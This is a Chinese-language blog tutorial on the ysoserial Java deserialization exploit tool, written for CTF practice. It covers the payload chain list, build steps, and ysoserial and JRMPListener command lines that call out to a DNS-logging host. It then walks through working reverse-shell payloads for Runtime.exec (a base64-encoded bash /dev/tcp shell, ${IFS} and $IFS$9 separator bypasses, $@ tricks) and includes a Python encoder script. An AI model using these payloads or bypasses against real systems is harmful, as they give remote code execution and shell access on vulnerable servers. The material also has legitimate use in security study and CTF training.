ysoserial使用方法
发布于 2021-10-21 9483 次阅读
ysoserial使用方法
最近在打CTF的时候遇到了Java反序列化的题目,多次用到了ysoserial工具,因此简单总结了一下这个工具的使用
ysoserial介绍
项目地址:https://github.com/angelwhu/ysoserial
ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。
可获取的Java反序列化payload
:
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
各种Java反序列化链的payloads目录:这里存放的就是各种链的payload,可看他是链是怎么写的
ysoserial\payloads
ysoserial生成payloads的原理可看下面这篇文章:灵活运用了Java反射机制和动态代理生成POC
https://www.anquanke.com/post/id/229108#h2-0
ysoserial
使用
两种安装的方法:
一:
通过这个链接:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
下载最新的jar包直接使用
二:在GitHub下载源文件之后,通过maven编译生成jar包
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar

主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务于。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] '[command]'
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xx.xxxxx.ceye.io
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
ysoserial 0.6 payloads:
payload | author | dependencies | impact (if not RCE) |
---|---|---|---|
AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 | |
BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 | |
C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 | |
Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 | |
Clojure | @JackOfMostTrades | clojure:1.8.0 | |
CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 | |
CommonsCollections1 | @frohoff | commons-collections:3.1 | |
CommonsCollections2 | @frohoff | commons-collections4:4.0 | |
CommonsCollections3 | @frohoff | commons-collections:3.1 | |
CommonsCollections4 | @frohoff | commons-collections4:4.0 | |
CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 | |
CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 | |
CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 | |
FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 | file uploading |
Groovy1 | @frohoff | groovy:2.3.9 | |
Hibernate1 | @mbechler | ||
Hibernate2 | @mbechler | ||
JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 | |
JRMPClient | @mbechler | ||
JRMPListener | @mbechler | ||
JSON1 | @mbechler | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 | |
JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 | |
Jdk7u21 | @frohoff | ||
Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 | |
MozillaRhino1 | @matthias_kaiser | js:1.7R2 | |
MozillaRhino2 | @_tint0 | js:1.7R2 | |
Myfaces1 | @mbechler | ||
Myfaces2 | @mbechler | ||
ROME | @mbechler | rome:1.0 | |
Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE | |
Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 | |
URLDNS | @gebl | jre only vuln detect | |
Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 | |
Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
可以看到URLDNS
是用于dns查询的,是一个通用的反序列化漏洞,常常用于判断是否存在Java反序列化漏洞。
FileUpload1
用于文件上传。
除此之外其它的链都是用于RCE(远程命令执行)
注意事项
powershell导致生成错误的POC
在使用过程中发现windows
的powershell
在输出二进制时会对数据进行一些更改,导致数据发生的改变。因此请使用CMD生成POC

可以看到powershell
输出的二进制数据被改变了,而CMD则是正常的
Runtime.getRuntime().exec(String)
无法反弹shell
在反弹shell的时候使用下面这条语句无法反弹shell
:
/bin/bash -i >& /dev/tcp/xxxxxx/xxx 0>&1
产生原因
exec方法总共六个重载方法
public Process exec(String command) throws IOException { return exec(command, null, null); } public Process exec(String command, String[] envp) throws IOException { return exec(command, envp, null); } public Process exec(String command, String[] envp, File dir) throws IOException { if (command.isEmpty()) throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command); String[] cmdarray = new String[st.countTokens()]; for (int i = 0; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); } public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); } public Process exec(String[] cmdarray, String[] envp) throws IOException { return exec(cmdarray, envp, null); } public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException { return new ProcessBuilder(cmdarray) .environment(envp) .directory(dir) .start(); }
可以看到六个方法不管哪一个,最终都会调用public Process exec(String[] cmdarray, String[] envp, File dir)
在CTF中用的最多的是exec(String command)
,下面看看为什么无法反弹shell
exec(String command)
->exec(String command, String[] envp, File dir)
,注意下面一句,对传入的字符串进行了处理
StringTokenizer st = new StringTokenizer(command);
StringTokenizer
属于 java.util 包,用于分隔字符串。
StringTokenizer 构造方法:
-
StringTokenizer(String str)
:构造一个用来解析 str 的 StringTokenizer 对象。java 默认的分隔符是空格(" ")、制表符(\t)、换行符(\n)、回车符(\r)
。
-
StringTokenizer(String str, String delim)
:构造一个用来解析str
的StringTokenizer
对象,并提供一个指定的分隔符。
-
StringTokenizer(String str, String delim, boolean returnDelims)
:构造一个用来解析str
的StringTokenizer
对象,并提供一个指定的分隔符,同时,指定是否返回分隔符。
public StringTokenizer(String str) { this(str, " \t\n\r\f", false); }
下面这几句就是将分割好的字符串重新生成cmdarray
数组
String[] cmdarray = new String[st.countTokens()]; for (int i = 0; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir);
因此传入字符串不能反弹shell
,有下面几个原因:
1、重定向和管道符的使用方式在正在启动的进程的中没有意义。这是什么意思呢?例如,ls > dir_listing
在shell中执行为将当前目录的列表输出到命名为 dir_listing
。但是在 exec()
函数的中,该命令为解释为获取 >
和 dir_listing
目录的列表。
换句话来讲,就是重定向和管道符,需要在我们诸如 bash
的环境下才有意义。所以我们需要将 /bin/bash
赋予给 array[0]
来调用 bash
进程。
2、参数无法界定范围。当直接传入 exec("bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1'")
整个字符串后。会经过 StringTokenizer
进行分割,会变成
"bash" "-c" "'bash" "-i" ">&" "/dev/tcp/xx.xx.xx.xx/6543" "0>&1"
这会导致无法识别参数-c
,因此我们这里的参数 -c
的值,需要不让他做分割。
解决方法
传入数组:
传入数组调用Process exec(String[] cmdarray, String[] envp, File dir)
,就不会进行字符串分割了。
exec(new String[]{"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1"})
但是其实使用ysoserial
生成POC时,传入的通常是字符串
传入字符串:
base64绕过
bash
是支持 base64
编码解码的,所以可以采用,来进行反弹。
exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
使用工具参考,可自动进行转换:https://x.hacking8.com/?post=293
python
脚本转换:
import base64 command = b"ls" cmd = r"bash -c {{echo,{command}}}|{{base64,-d}}|{{bash,-i\}}".format(command = base64.b64encode(command).decode('utf-8')) print(cmd)
IFS绕过
ing after expansion and to split lines into words with the read builtin command. The default value is ''.
在 bash
中 IFS
是内部域分隔符,其默认值为空白(包括:空格,tab, 和换行)
构造payload:
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1
但是这样会报不明确的重定向的错误,然后我尝试将所有重定向前后的 ${IFS}
去掉,利用 0>&1
等价于 0<&1
再来构造,就能成功反弹shell了
bash${IFS}-i>&/dev/tcp/ip/port<&1
而再在 $IFS
后面加 $
也可以起到截断的作用,一般用 $9
,因为 $9
是当前系统shell进程的第九个参数的持有者,这里始终为空字符串。
所以${IFS}
和 $IFS$9
都是相同的作用
bash$IFS$9-i>&/dev/tcp/ip/port<&1
$@、$*绕过
$@ 代表传入参数的列表 $* 以字符串方式显示所有传入的参数
例如
/bin/bash -c '$@|bash' 'xxx' 'echo' 'ls'
$@|bash
就相当于获取到的参数作为bash的输入
由于 $* $@
只会从脚本里读取参数,所以这里把 xxx 解释为脚本名
也就是说,这里的
'$@|bash' 'xxx' 'echo' 'ls' 执行的是: echo 'ls'|bash